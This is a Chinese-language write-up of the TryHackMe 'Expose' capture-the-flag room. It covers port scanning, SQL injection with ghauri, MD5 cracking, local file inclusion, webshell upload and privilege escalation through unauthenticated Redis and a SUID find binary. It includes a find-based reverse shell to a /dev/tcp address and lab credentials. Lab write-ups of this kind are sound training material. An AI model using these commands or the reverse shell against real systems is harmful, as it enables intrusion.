TryHackMe [Expose] WriteUp

User Flag

首先进行端口扫描,实测 TOP1000 扫不全,需要扫描全端口,全端口我比较喜欢用 rustscan 扫描, nmap 扫起来太慢了。

rustscan --ulimit 5000 -a 10.201.28.221 -- -Pn

发现 1337 和 1883 两个可以端口,重新用 nmap 扫描看一下。

nmap -Pn -sT -sV -sC 10.201.28.221 -p 1337,1883

发现 1337 端口是 http 服务,打开一看,是个静态页面,一看就是要扫目录。

./spray -d DIR.txt -u http://10.201.28.221:1337/

扫出了几个可疑目录,先访问 /admin ,发现是个假页面,甚至连点击登录都没有发出请求。

继续访问 /admin_101 ,发现应该是可以发出请求交互的,抓包分析登录接口。

推测 email 参数应该是存在注入的,可以直接丢给 ghauri

将请求保存成一个 txt 文件,将 email 字段改成 * 号。

POST /admin_101/includes/user_login.php HTTP/1.1
Host: 10.201.28.221:1337
Content-Length: 39
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.201.28.221:1337
Referer: http://10.201.28.221:1337/admin_101/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=qct3umv7dclm1dk4r3tgjk16j9
Connection: keep-alive

email=*&password=123456
ghauri -r test.txt --dbs
ghauri -r test.txt -D expose --tables
ghauri -r test.txt -D expose -T user --dump
ghauri -r test.txt -D expose -T config --dump

成功 dump 出 user 和 config 两张表。

使用用户名 hacker@root.thm 和密码 VeryDifficultPassword!!#@#@!#!@#1231 登录账号,发现又是一个静态页面,没有什么有用的信息。

根据 config 表提供的数据,访问 /file1010111/index.php ,发现页面需要密码访问。

密码 69c66901194a6486176e81f5945b8929 应该是 MD5 加密,前往 CMD5 查询彩虹表。

得到密码 easytohack ,访问网站,发现还是个提示页面,直接抓包分析。

提示使用 GET 参数 file ,重新进行请求,也许可以实现任意文件读取。

成功读取到 /etc/passwd 内容,不过这里我用 PHP 伪协议没有实现 GetShell ,只能用来查查文件内容。

先把这个漏洞放在一边,访问 config 表中的第二个路径 /upload-cv00101011/index.php

也是需要密码访问,提示需要以 z 开头的服务器用户名作为密码,刚好刚才读取到了 /etc/passwd ,得到一个用户 zeamkish ,输入用户名成功登录。

是一个上传接口,此处上传绕过比较简单,抓包改后缀即可上传一句话木马。

上传完成后关注一下响应包,发现上传地址位于 /upload-cv00101011/upload_thm_1001/shell.php ,用 Godzilla 生成的木马可以直接连接。

成功拿到用户 www-data 的 shell ,继续收集信息,发现路径 /home/zeamkish/ssh_creds.txt 可以直接访问。

cat /home/zeamkish/ssh_creds.txt

查看该文件,发现内容是用户 zeamkish 的登录账号,密码 easytohack@123 ,用 SSH 成功登录。

在用户目录下发现 flag.txt ,成功拿到 User Flag 。

Root Flag

使用 linpeas.sh 收集信息。

bash linpeas.sh

首先查看开启了哪些服务,发现存在 Redis ,将 1111 端口转发到本机。

ssh -L 1111:127.0.0.1:1111 zeamkish@10.201.28.221 -N

在本机连接 1111 端口,发现存在 Redis 未授权,可以直接连接成功。

尝试往 /root/.ssh 文件夹中写入密钥。

config set dir /root/.ssh

提示 Permission Denied ,提权失败。

继续查看收集到的信息,发现可以列出 /root 文件夹下的文件,而正常使用 ls /root ,是完全无法列出的。

搜索一下 linpeas.sh 这个模块是如何实现的,发现调用的是 find 命令。

实际这个 find 命令的权限也是很可疑的。

事实上,可以直接通过 find 命令读取到 root 的 flag 文件。

find /usr/bin/find -exec cat /root/flag.txt \;

但正常解法应该是先拿到 root 的 shell 再查看 flag 文件,尝试通过该命令提权。

find /etc/passwd -exec bash -ip >& /dev/tcp/10.13.91.125/9997 0>&1 \;

这样就拿到了 root 的 shell ,成功得到 Root Flag 。

评论